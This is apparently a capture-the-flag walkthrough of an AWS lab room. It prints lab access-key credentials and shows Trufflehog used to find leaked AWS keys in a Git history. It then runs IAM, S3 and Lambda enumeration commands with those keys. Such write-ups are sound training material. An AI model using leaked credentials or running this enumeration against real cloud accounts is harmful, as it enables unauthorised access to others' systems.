Cloud Ring

Cloud Ring Room

AWS CLI Intro

On this challenge we have an walkthrough on how to use AWS

AWS CLI Intro prompt
Answer

aws help

aws configure

  • AKQAAYRKO7A5Q5XUY2IY,

  • qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf

  • us-east-1

  • json

aws sts get-caller-identity

Question - Use Trufflehog to find secrets in a Git repo. What's the name of the file that has AWS credentials?

By running trufflehog git https://haugfactory.com/asnowball/aws_scripts.git we get some interesting results:

AWS Access Key ID

The next steps is to clone the repo and do git show 106d33e1ffd53eea753c1365eafc6588398279b5 to find the aws key id + secret key

git show
Answer

put_policy.py

Now that we have the credentials is time to run aws configure and move to the next challenge

Exploitation via AWS CLI

This challenge is a set of tasks that need to be answered (by providing the correct aws command)

First question - Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to find any policies attached to your user.

Answer

aws iam list-attached-user-policies --user-name haug

Second question - Now, view or get the policy that is attached to your user.

Answer

aws iam get-policy --policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"

Third question - Attached policies can have multiple versions. View the default version of this policy

Answer

aws iam get-policy-version --policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" --version-id v1

Fourth question - Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user.

Answer

aws iam list-user-policies --user-name

Fifth question - Now, use the AWS CLI to get the only inline policy for your user.

Answer

aws iam get-user-policy --user-name haug --policy-name S3Perms

Sixth question - The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects. List those objects!

Answer

aws s3api list-objects --bucket smogmachines3

Seventh question - The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions.

Answer

aws lambda list-functions

Lambda functions can have public URLs from which they are directly accessible. Use the AWS CLI to get the configuration containing the public URL of the Lambda function.

Answer

aws lambda get-function-url-config --function-name smogmachine_lambda

With this answer we reach the end of this room and obtained the cloud ring

Last updated